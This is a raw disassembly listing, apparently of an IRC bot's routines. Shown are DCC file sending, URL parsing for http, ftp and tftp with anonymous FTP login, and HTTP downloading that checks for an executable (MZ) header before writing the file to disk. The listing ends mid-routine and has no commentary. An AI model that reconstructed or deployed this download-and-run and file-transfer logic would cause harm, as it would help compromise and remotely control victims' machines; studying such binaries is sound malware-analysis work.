		lea	eax, [ebp+var_3C3]
		push	eax
		mov	eax, [ebp+var_3E8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1B5]
		push	offset dword_412280
		push	eax
		call	sub_408D50
		add	esp, 14h
		call	sub_41084A	; clock
		mov	ebx, ds:dword_411258
		mov	[ebp+var_4], esi
		push	esi
		mov	[ebp+arg_0], eax
		mov	esi, 200h
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		push	[ebp+var_C]


loc_401A71:				; CODE XREF: sub_401985+14Bj
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_401AD2
		cmp	edi, esi
		ja	short loc_401AD2
		add	[ebp+var_4], edi
		push	[ebp+var_4]
		call	ds:dword_41125C	; htonl
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	[ebp+var_C]
		call	sub_403D54
		push	[ebp+var_10]
		lea	eax, [ebp+var_5E8]
		push	edi
		push	1
		push	eax
		call	sub_410862	; fwrite
		add	esp, 1Ch
		cmp	edi, esi
		jb	short loc_401AD2
		mov	eax, [ebp+var_3E8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_401B5A
		push	0
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		push	[ebp+var_C]
		jmp	short loc_401A71
; ---------------------------------------------------------------------------


loc_401AD2:				; CODE XREF: sub_401985+F2j
					; sub_401985+F6j ...
		push	[ebp+var_10]
		call	sub_41085C	; ftell
		pop	ecx
		mov	esi, eax
		call	sub_41084A	; clock
		cmp	[ebp+arg_0], eax
		jnz	short loc_401AF0
		call	sub_41084A	; clock
		dec	eax
		mov	[ebp+arg_0], eax


loc_401AF0:				; CODE XREF: sub_401985+160j
		mov	eax, esi
		mov	ecx, 400h
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fstp	[ebp+var_4]
		call	sub_41084A	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:flt_411280
		fdivr	[ebp+var_4]
		fstp	[esp+5FCh+var_5FC]
		call	sub_41084A	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_3E4]
		fild	[ebp+arg_0]
		fmul	ds:flt_411280
		fstp	[esp+604h+var_604]
		push	eax
		lea	eax, [ebp+var_3C3]
		push	eax
		lea	eax, [ebp+var_1B5]
		push	offset dword_412234
		push	eax
		call	sub_408D50
		add	esp, 20h


loc_401B5A:				; CODE XREF: sub_401985+138j
		push	[ebp+var_10]
		call	sub_410868	; fclose
		push	[ebp+var_C]
		call	sub_403D27
		push	[ebp+var_3E8]
		call	sub_406753
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	ebx


loc_401B7C:				; CODE XREF: sub_401985+99j
		pop	esi
		leave
		retn	4
sub_401985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B81	proc near		; DATA XREF: sub_401FA3+65o

var_A1C		= qword	ptr -0A1Ch
var_A14		= qword	ptr -0A14h
var_A00		= byte ptr -0A00h
var_5FC		= byte ptr -5FCh
var_3FC		= byte ptr -3FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2D3		= byte ptr -2D3h
var_2D2		= byte ptr -2D2h
var_1CF		= byte ptr -1CFh
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A00h
		push	ebx
		push	esi
		push	edi
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_2D3]
		push	eax
		call	sub_410826	; strlen
		xor	esi, esi
		add	esp, 14h
		cmp	eax, esi
		jz	short loc_401BCB


loc_401BBE:				; CODE XREF: sub_401B81+48j
		cmp	[ebp+eax+var_2D3], 5Ch
		jz	short loc_401BD3
		dec	eax
		jnz	short loc_401BBE


loc_401BCB:				; CODE XREF: sub_401B81+3Bj
		lea	eax, [ebp+var_2D3]
		jmp	short loc_401BDA
; ---------------------------------------------------------------------------


loc_401BD3:				; CODE XREF: sub_401B81+45j
		lea	eax, [ebp+eax+var_2D2]


loc_401BDA:				; CODE XREF: sub_401B81+50j
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		lea	eax, [ebp+var_8]
		pop	ecx
		mov	[ebp+var_8], 10h
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40882C
		push	eax
		call	ds:dword_411250	; getsockname
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_A00]
		push	401h
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_2C]
		push	eax
		call	dword_417BB8	; getnameinfo
		test	eax, eax
		jz	short loc_401C32


loc_401C25:				; CODE XREF: sub_401B81+E3j
		push	[ebp+var_2F8]
		call	sub_406753
		jmp	short loc_401C91
; ---------------------------------------------------------------------------


loc_401C32:				; CODE XREF: sub_401B81+A2j
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		push	1388h
		push	400h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410C9A	; _itoa
		lea	eax, [ebp+var_14]
		push	1
		push	eax
		call	sub_4035FB
		mov	edi, eax
		add	esp, 14h
		cmp	edi, esi
		mov	[ebp+var_1C], edi
		jz	short loc_401C25
		lea	eax, [ebp+var_2D3]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41086E	; fopen
		mov	ebx, eax
		pop	ecx
		cmp	ebx, esi
		pop	ecx
		jnz	short loc_401C97
		push	edi
		call	sub_4038E1
		push	[ebp+var_2F8]
		call	sub_406753
		pop	ecx


loc_401C91:				; CODE XREF: sub_401B81+AFj
		pop	ecx
		jmp	loc_401E9F
; ---------------------------------------------------------------------------


loc_401C97:				; CODE XREF: sub_401B81+FCj
		push	2
		push	esi
		push	ebx
		call	sub_410886	; fseek
		push	ebx
		call	sub_41085C	; ftell
		push	esi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		call	sub_410886	; fseek
		add	esp, 1Ch
		lea	eax, [ebp+var_A00]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		push	eax
		call	sub_408C6C
		add	esp, 10h
		lea	eax, [ebp+var_14]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_A00]
		push	eax
		call	ds:dword_411254	; inet_addr
		push	eax
		call	ds:dword_41125C	; htonl
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset dword_412348
		push	eax
		call	sub_408CDE
		push	0EA60h
		push	edi
		call	sub_40371E
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	loc_401E85
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E85
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		mov	eax, [ebp+var_2F8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1CF]
		push	offset dword_412320
		push	eax
		call	sub_408D50
		call	sub_41084A	; clock
		mov	esi, 200h
		mov	[ebp+arg_0], eax
		push	ebx
		push	esi
		lea	eax, [ebp+var_5FC]
		push	1
		push	eax
		call	sub_410880	; fread
		add	esp, 24h


loc_401D73:				; CODE XREF: sub_401B81+23Aj
		mov	edi, eax
		test	edi, edi
		jz	short loc_401DE1
		cmp	edi, esi
		ja	short loc_401DE1
		lea	eax, [ebp+var_5FC]
		push	edi
		push	eax
		push	[ebp+var_C]
		call	sub_403D54
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401DBD
		cmp	edi, esi
		jb	short loc_401DE1
		mov	eax, [ebp+var_2F8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_401E5F
		push	ebx
		push	esi
		lea	eax, [ebp+var_5FC]
		push	1
		push	eax
		call	sub_410880	; fread
		add	esp, 10h
		jmp	short loc_401D73
; ---------------------------------------------------------------------------


loc_401DBD:				; CODE XREF: sub_401B81+211j
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_1CF]
		push	offset dword_4122F4
		push	eax
		call	sub_408D50
		add	esp, 10h
		jmp	short loc_401E5F
; ---------------------------------------------------------------------------


loc_401DE1:				; CODE XREF: sub_401B81+1F6j
					; sub_401B81+1FAj ...
		call	sub_41084A	; clock
		cmp	[ebp+arg_0], eax
		jnz	short loc_401DF4
		call	sub_41084A	; clock
		dec	eax
		mov	[ebp+arg_0], eax


loc_401DF4:				; CODE XREF: sub_401B81+268j
		mov	eax, [ebp+var_4]
		mov	ecx, 400h
		cdq
		idiv	ecx
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fstp	[ebp+var_18]
		call	sub_41084A	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	ds:flt_411280
		fdivr	[ebp+var_18]
		fstp	[esp+0A14h+var_A14]
		call	sub_41084A	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_2F4]
		fild	[ebp+arg_0]
		fmul	ds:flt_411280
		fstp	[esp+0A1Ch+var_A1C]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_1CF]
		push	offset dword_4122B0
		push	eax
		call	sub_408D50
		add	esp, 20h


loc_401E5F:				; CODE XREF: sub_401B81+221j
					; sub_401B81+25Ej
		push	[ebp+var_C]
		call	sub_403D27
		push	ebx
		call	sub_410868	; fclose
		push	[ebp+var_1C]
		call	sub_4038E1
		push	[ebp+var_2F8]
		call	sub_406753
		add	esp, 10h
		jmp	short loc_401E9F
; ---------------------------------------------------------------------------


loc_401E85:				; CODE XREF: sub_401B81+19Cj
					; sub_401B81+1A5j
		push	ebx
		call	sub_410868	; fclose
		push	edi
		call	sub_4038E1
		push	[ebp+var_2F8]
		call	sub_406753
		add	esp, 0Ch


loc_401E9F:				; CODE XREF: sub_401B81+111j
					; sub_401B81+302j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EA8	proc near		; CODE XREF: sub_408F9D+194p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		jz	loc_401F9E
		cmp	[ebp+arg_8], ebx
		jz	loc_401F9E
		cmp	[ebp+arg_C], ebx
		jz	loc_401F9E
		cmp	[ebp+arg_10], ebx
		jz	loc_401F9E
		push	[ebp+arg_10]
		call	sub_41088C	; atoi
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_401F9E
		cmp	esi, 0FFFFh
		ja	loc_401F9E
		push	[ebp+arg_14]
		call	sub_41088C	; atoi
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_401F9E
		cmp	esi, 40000000h
		ja	loc_401F9E
		push	3D6h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_401F9E
		push	21h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41083E	; strncpy
		push	104h
		lea	eax, [esi+25h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41083E	; strncpy
		push	100h
		lea	eax, [esi+129h]
		push	[ebp+arg_C]
		push	eax
		call	sub_41083E	; strncpy
		push	6
		lea	eax, [esi+229h]
		push	[ebp+arg_10]
		push	eax
		call	sub_41083E	; strncpy
		push	1A3h
		lea	eax, [esi+233h]
		push	[ebp+arg_0]
		mov	[esi+22Fh], edi
		push	eax
		call	sub_410838	; memcpy
		add	esp, 3Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41237C
		push	ebx
		push	esi
		push	offset sub_401985
		call	sub_40663C
		add	esp, 18h


loc_401F9E:				; CODE XREF: sub_401EA8+Bj
					; sub_401EA8+14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FA3	proc near		; CODE XREF: sub_40735A+3A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	short loc_402015
		cmp	[ebp+arg_8], 0
		jz	short loc_402015
		push	2CCh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402015
		push	21h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41083E	; strncpy
		push	104h
		lea	eax, [esi+25h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41083E	; strncpy
		push	1A3h
		lea	eax, [esi+129h]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 24h
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4123A0
		push	0
		push	esi
		push	offset sub_401B81
		call	sub_40663C
		add	esp, 18h


loc_402015:				; CODE XREF: sub_401FA3+8j
					; sub_401FA3+Ej ...
		pop	esi
		pop	ebp
		retn
sub_401FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402018	proc near		; CODE XREF: sub_402230+3CAp

var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		mov	ebx, 2710h
		push	edi
		push	ebx
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_403BBB
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		mov	[ebp+arg_C], esi
		jz	loc_402226
		push	[ebp+arg_8]
		mov	edi, 401h
		lea	eax, [ebp+var_408]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	edi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		push	esi
		call	sub_403D54
		push	ebx
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		push	esi
		call	sub_403DAD
		add	esp, 34h
		mov	[ebp+arg_10], eax
		test	eax, eax
		jz	loc_40221F
		cmp	eax, 0FFFFFFFFh
		jz	loc_40221F
		lea	eax, [ebp+var_408]
		push	offset asc_4123EC ; "\r\n\r\n"
		push	eax
		call	sub_410898	; strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	loc_40221A
		lea	eax, [ebp+var_408]
		push	offset aContentLength ;	"Content-Length: "
		push	eax
		add	esi, 4
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40221A
		cmp	eax, esi
		ja	loc_40221A
		and	[ebp+var_4], 0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	eax
		call	sub_410892	; sscanf
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40221A
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	loc_40221A
		cmp	[ebp+arg_1C], 0
		jz	short loc_40212B
		cmp	ecx, 2
		jb	loc_40221A
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_40221A


loc_40212B:				; CODE XREF: sub_402018+FDj
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_402134
		mov	[eax], ecx


loc_402134:				; CODE XREF: sub_402018+118j
		push	[ebp+arg_14]
		call	sub_410521
		test	eax, eax
		pop	ecx
		jnz	loc_40221A
		push	offset dword_4122AC
		push	[ebp+arg_14]
		call	sub_41086E	; fopen
		pop	ecx
		mov	[ebp+arg_8], eax
		test	eax, eax
		pop	ecx
		jnz	short loc_40216D


loc_40215B:				; CODE XREF: sub_402018+1CFj
		xor	esi, esi


loc_40215D:				; CODE XREF: sub_402018+1E0j
		push	[ebp+arg_C]
		call	sub_403D27
		pop	ecx
		mov	eax, esi
		jmp	loc_402228
; ---------------------------------------------------------------------------


loc_40216D:				; CODE XREF: sub_402018+141j
		push	eax
		mov	eax, [ebp+arg_10]
		sub	eax, esi
		lea	eax, [ebp+eax+var_408]
		push	eax
		push	1
		push	esi
		call	sub_410862	; fwrite
		sub	esi, [ebp+arg_10]
		lea	eax, [ebp+var_408]
		add	esp, 10h
		sub	esi, eax
		add	[ebp+var_4], esi


loc_402194:				; CODE XREF: sub_402018+1C7j
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jz	short loc_4021A1
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4021EC


loc_4021A1:				; CODE XREF: sub_402018+181j
		push	ebx
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		push	[ebp+arg_C]
		call	sub_403DAD
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jz	short loc_4021FD
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4021FD
		cmp	esi, [ebp+var_4]
		push	[ebp+arg_8]
		ja	short loc_4021E1
		push	esi
		lea	eax, [ebp+var_408]
		push	1
		push	eax
		call	sub_410862	; fwrite
		add	esp, 10h
		sub	[ebp+var_4], esi
		jz	short loc_4021EC
		jmp	short loc_402194
; ---------------------------------------------------------------------------


loc_4021E1:				; CODE XREF: sub_402018+1AEj
		call	sub_410868	; fclose
		pop	ecx
		jmp	loc_40215B
; ---------------------------------------------------------------------------


loc_4021EC:				; CODE XREF: sub_402018+187j
					; sub_402018+1C5j
		push	[ebp+arg_8]
		call	sub_410868	; fclose
		pop	ecx
		push	1
		pop	esi
		jmp	loc_40215D
; ---------------------------------------------------------------------------


loc_4021FD:				; CODE XREF: sub_402018+1A1j
					; sub_402018+1A6j
		push	[ebp+arg_8]
		call	sub_410868	; fclose
		push	[ebp+arg_C]
		call	sub_403D27
		pop	ecx
		pop	ecx
		push	[ebp+arg_14]
		call	ds:dword_4110B8	; DeleteFileA
		jmp	short loc_402226
; ---------------------------------------------------------------------------


loc_40221A:				; CODE XREF: sub_402018+A3j
					; sub_402018+C1j ...
		push	[ebp+arg_C]
		jmp	short loc_402220
; ---------------------------------------------------------------------------


loc_40221F:				; CODE XREF: sub_402018+7Dj
					; sub_402018+86j
		push	esi


loc_402220:				; CODE XREF: sub_402018+205j
		call	sub_403D27
		pop	ecx


loc_402226:				; CODE XREF: sub_402018+29j
					; sub_402018+200j
		xor	eax, eax


loc_402228:				; CODE XREF: sub_402018+150j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================



sub_40222D	proc near		; CODE XREF: sub_402230+415p
					; sub_402230+452p
		xor	eax, eax
		retn
sub_40222D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402230	proc near		; DATA XREF: sub_4027CB+9Fo

var_7EC		= qword	ptr -7ECh
var_7D4		= byte ptr -7D4h
var_6D0		= byte ptr -6D0h
var_5D0		= byte ptr -5D0h
var_4CC		= byte ptr -4CCh
var_4CB		= byte ptr -4CBh
var_44C		= byte ptr -44Ch
var_44B		= byte ptr -44Bh
var_3CC		= dword	ptr -3CCh
var_3C8		= byte ptr -3C8h
var_3C7		= byte ptr -3C7h
var_3C2		= byte ptr -3C2h
var_3C1		= byte ptr -3C1h
var_2C4		= byte ptr -2C4h
var_1C0		= byte ptr -1C0h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_33		= byte ptr -33h
var_26		= byte ptr -26h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7D4h
		push	ebx
		push	esi
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_7D4]
		push	eax
		call	sub_410820	; _mbscpy
		mov	dl, byte_417B60
		add	esp, 18h
		xor	eax, eax
		lea	edi, [ebp+var_4CB]
		push	1Fh
		mov	[ebp+var_4CC], dl
		pop	ecx
		mov	[ebp+var_44C], dl
		rep stosd
		stosw
		stosb
		push	1Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_44B]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_2C4]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_7D4]
		push	eax
		mov	eax, [ebp+var_3CC]
		mov	dword ptr [ebp+var_14+4], 1
		mov	[ebp+arg_0], ebx
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C0]
		push	offset dword_4125CC
		push	eax
		call	sub_408D50
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset dword_4125C4
		push	eax
		call	sub_410CA0	; _strnicmp
		add	esp, 20h
		test	eax, eax
		jnz	short loc_402347
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3C1]
		push	eax
		call	ds:dword_411068	; CopyFileA
		test	eax, eax
		jnz	loc_402697
		call	ds:dword_41106C	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_40232E
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_41258C
		jmp	loc_40277E
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: sub_402230+E3j
		lea	eax, [ebp+var_3C1]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_41255C
		jmp	loc_40277E
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_402230+BBj
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_410826	; strlen
		pop	ecx
		mov	esi, eax


loc_402356:				; CODE XREF: sub_402230+136j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4023CD
		cmp	[ebp+esi+var_3C8], 3Ah
		jz	short loc_402368
		dec	esi
		jmp	short loc_402356
; ---------------------------------------------------------------------------


loc_402368:				; CODE XREF: sub_402230+133j
		cmp	[ebp+esi+var_3C7], bl
		push	1
		pop	edi
		jz	short loc_40239B
		mov	al, [ebp+esi+var_3C7]
		lea	ecx, [ebp+esi+var_3C8]


loc_402382:				; CODE XREF: sub_402230+169j
		cmp	al, 2Fh
		jz	short loc_40239B
		cmp	al, 30h
		jl	short loc_4023CD
		cmp	al, 39h
		jg	short loc_4023CD
		mov	byte ptr [ebp+edi+var_C+3], al
		mov	al, [ecx+edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402382


loc_40239B:				; CODE XREF: sub_402230+142j
					; sub_402230+154j
		lea	eax, [ebp+var_8]
		mov	byte ptr [ebp+edi+var_C+3], bl
		push	eax
		call	sub_40325E
		test	eax, eax
		pop	ecx
		jz	short loc_4023CD
		add	edi, esi
		lea	eax, [ebp+edi+var_3C8]
		push	eax
		lea	eax, [ebp+esi+var_3C8]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 1
		pop	ecx


loc_4023CD:				; CODE XREF: sub_402230+129j
					; sub_402230+158j ...
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset aHttp	; "http://"
		push	eax
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40241D
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4023FC
		lea	eax, [ebp+var_8]
		push	offset a80	; "80"
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_4023FC:				; CODE XREF: sub_402230+1BAj
		lea	eax, [ebp+var_3C1]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 1
		pop	ecx
		jmp	loc_4024D9
; ---------------------------------------------------------------------------


loc_40241D:				; CODE XREF: sub_402230+1B5j
		push	6
		lea	eax, [ebp+var_3C8]
		push	offset aFtp	; "ftp://"
		push	eax
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40248A
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40244C
		lea	eax, [ebp+var_8]
		push	offset a21	; "21"
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_40244C:				; CODE XREF: sub_402230+20Aj
		lea	eax, [ebp+var_3C2]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_410820	; _mbscpy
		mov	esi, offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_4CC]
		push	esi
		push	eax
		mov	[ebp+arg_0], 2
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_44C]
		push	esi
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 18h
		jmp	short loc_4024D9
; ---------------------------------------------------------------------------


loc_40248A:				; CODE XREF: sub_402230+205j
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset aTftp	; "tftp://"
		push	eax
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40279B
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4024BD
		lea	eax, [ebp+var_8]
		push	offset a69	; "69"
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_4024BD:				; CODE XREF: sub_402230+27Bj
		lea	eax, [ebp+var_3C1]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 3
		pop	ecx


loc_4024D9:				; CODE XREF: sub_402230+1E8j
					; sub_402230+258j
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_410826	; strlen
		pop	ecx
		mov	esi, eax


loc_4024E8:				; CODE XREF: sub_402230+2C8j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40255C
		cmp	[ebp+esi+var_3C8], 40h
		jz	short loc_4024FA
		dec	esi
		jmp	short loc_4024E8
; ---------------------------------------------------------------------------


loc_4024FA:				; CODE XREF: sub_402230+2C5j
		lea	eax, [ebp+var_3C8]
		push	offset asc_412528 ; ":"
		push	eax
		mov	[ebp+esi+var_3C8], bl
		call	sub_410898	; strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	edi, 80h
		jz	short loc_402531
		mov	[eax], bl
		inc	eax
		push	edi
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		call	sub_4052A6
		add	esp, 0Ch


loc_402531:				; CODE XREF: sub_402230+2EBj
		lea	eax, [ebp+var_3C8]
		push	edi
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_4052A6
		lea	eax, [ebp+esi+var_3C7]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 14h


loc_40255C:				; CODE XREF: sub_402230+2BBj
		lea	eax, [ebp+var_3C8]
		push	offset asc_412524 ; "/"
		push	eax
		call	sub_410898	; strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_402587
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset unk_4124F8
		jmp	loc_4027A8
; ---------------------------------------------------------------------------


loc_402587:				; CODE XREF: sub_402230+343j
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_3C8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 10h
		call	sub_41084A	; clock
		cmp	[ebp+arg_0], 1
		mov	dword ptr [ebp+var_1C+4], eax
		mov	[ebp+var_C], ebx
		jnz	short loc_402605
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_402018
		add	esp, 24h
		mov	dword ptr [ebp+var_14+4], eax


loc_402605:				; CODE XREF: sub_402230+38Ej
		cmp	[ebp+arg_0], 2
		jnz	short loc_402650
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
